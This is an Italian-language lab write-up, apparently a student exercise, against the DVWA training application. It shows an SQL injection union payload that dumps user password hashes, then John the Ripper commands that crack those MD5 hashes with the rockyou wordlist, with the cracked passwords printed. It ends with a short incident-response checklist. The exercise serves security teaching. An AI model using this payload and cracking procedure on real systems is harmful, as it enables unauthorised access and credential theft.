

## John the ripper

---

Nell'esercizio di oggi viene richiesto di utilizzare il tool John per cercare di craccare gli hash delle password.

Ho riportato gli hash trovati con la SQLInjection:

The screenshot shows the DVWA SQL Injection page. On the left, there's a sidebar with various attack types: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection (selected), SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. The main content area has a title "Vulnerability: SQL Injection". A "User ID:" input field contains "1' union select user, password from users #". Below it, several successful exploitation results are listed in red text:  
First name: admin  
Surname: admin  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Below the exploit results, there's a "More info" section with three links:  
<http://www.securiteam.com/securityreviews/5DP0N1P76E.htm>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://www.unixwiz.net/tchtips/sql-injection.html>

At the bottom left, it says "Username: admin", "Security Level: low", and "PHPIDS: disabled". At the bottom right, there are "View Source" and "View Help" buttons.

Dopodiché ho lanciato il comando il John dopo aver estratto il file rockyou.txt già presente su kali con le milioni di password più utilizzate:

```
[root@192 ~]# john --format=raw-md5 --wordlist=/home/raul/Desktop/rockyou.txt /home/raul/Desktop/hash.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=10
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (?)
letmein       (?)
charley       (?)
3g 0:00:00:00 DONE (2026-01-11 15:33) 300.0g/s 409600p/s 409600c/s 819200C/s slimshady..000000
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Infine ho trovato le password e le ho listate con il seguente comando:

```
(root@192)-[/home/raul/Desktop]
# john --show --format=Raw-MD5 /home/raul/Desktop/hash.txt
?:password
?:charley
?:letmein
?:password

4 password hashes cracked, 0 left
```

### Parte Facoltativa:

Nell'immediato:

- Disconnettere la macchina dalla rete
- Avvisare il team e i tecnici
- Isolare la macchina
- Cercare di recuperare dati critici

Nel Medio periodo:

- Formattazione completa del pc
- Ripristino dell'ultimo backup
- Aggiornamento del sistema